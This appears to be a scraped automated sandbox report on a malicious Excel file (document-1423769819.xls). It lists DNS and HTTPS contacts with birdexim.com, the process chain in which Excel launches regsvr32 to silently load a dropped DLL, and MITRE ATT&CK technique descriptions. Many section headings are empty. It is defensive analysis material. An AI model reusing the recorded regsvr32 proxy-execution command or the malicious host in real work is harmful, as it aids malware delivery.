Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Nov 29, 2020 04:52:27.277591944 CET	8.8.8.8	192.168.2.22	0xfda2	No error (0)	birdexim.com		103.21.59.169	A (IP address)	IN (0x0001)

HTTPS Packets

Timestamp	Source IP	Source Port	Dest IP	Dest Port	Subject	Issuer	Not Before	Not After	JA3 SSL Client Fingerprint	JA3 SSL Client Digest
Nov 29, 2020 04:52:27.577666044 CET	103.21.59.169	443	192.168.2.22	49167	CN=autodiscover.birdexim.com CN=Let's Encrypt Authority X3, O=Let's Encrypt, C=US	CN=Let's Encrypt Authority X3, O=Let's Encrypt, C=US CN=DST Root CA X3, O=Digital Signature Trust Co.	Mon Nov 02 05:51:13 CET 2020 Thu Mar 17 17:40:46 CET 2016	Sun Jan 31 05:51:13 CET 2021 Wed Mar 17 17:40:46 CET 2021	771,49192-49191-49172-49171-159-158-57-51-157-156-61-60-53-47-49196-49195-49188-49187-49162-49161-106-64-56-50-10-19,0-10-11-13-23-65281,23-24,0	7dcce5b76c8b17472d024758970a406b
Nov 29, 2020 04:52:27.577666044 CET	103.21.59.169	443	192.168.2.22	49167	CN=Let's Encrypt Authority X3, O=Let's Encrypt, C=US	CN=DST Root CA X3, O=Digital Signature Trust Co.	Thu Mar 17 17:40:46 CET 2016	Wed Mar 17 17:40:46 CET 2021		7dcce5b76c8b17472d024758970a406b

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: EXCEL.EXE PID: 1144 Parent PID: 584

General

Start time:	04:52:40
Start date:	29/11/2020
Path:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
Wow64 process (32bit):	false
Commandline:	'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding
Imagebase:	0x13f4b0000
File size:	27641504 bytes
MD5 hash:	5FB0A0F93382ECD19F5F499A5CAA59F0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: regsvr32.exe PID: 2376 Parent PID: 1144

General

Start time:	04:52:45
Start date:	29/11/2020
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	regsvr32 -s C:\giogti\mpomqr\fwpxeohi.dll
Imagebase:	0xffb10000
File size:	19456 bytes
MD5 hash:	59BCE9F07985F8A4204F4D6554CFF708
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Disassembly

Code Analysis

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Anti-virus, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Regsvr32.exe to proxy execution of malicious code. Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. Regsvr32.exe is also a Microsoft signed binary.
Tactics:	Defense Evasion
Data Sources:	Loaded DLLs, Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

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Analysis Report document-1423769819.xls

Overview

General Information

Detection

Signatures

Classification

Startup

Malware Configuration

Yara Overview

Initial Sample

Sigma Overview

System Summary:

Signature Overview

AV Detection:

Software Vulnerabilities:

Networking:

System Summary:

Data Obfuscation:

Hooking and other Techniques for Hiding and Protection:

HIPS / PFW / Operating System Protection Evasion:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

Contacted IPs

Public

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static OLE Info

General

OLE File "document-1423769819.xls"

Indicators

Summary

Document Summary

Streams

Stream Path: \x5DocumentSummaryInformation, File Type: data, Stream Size: 4096

General

Stream Path: \x5SummaryInformation, File Type: data, Stream Size: 4096

General

Stream Path: Workbook, File Type: Applesoft BASIC program data, first line number 16, Stream Size: 327649

General

Macro 4.0 Code

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTPS Packets

Code Manipulations

Statistics

CPU Usage

Memory Usage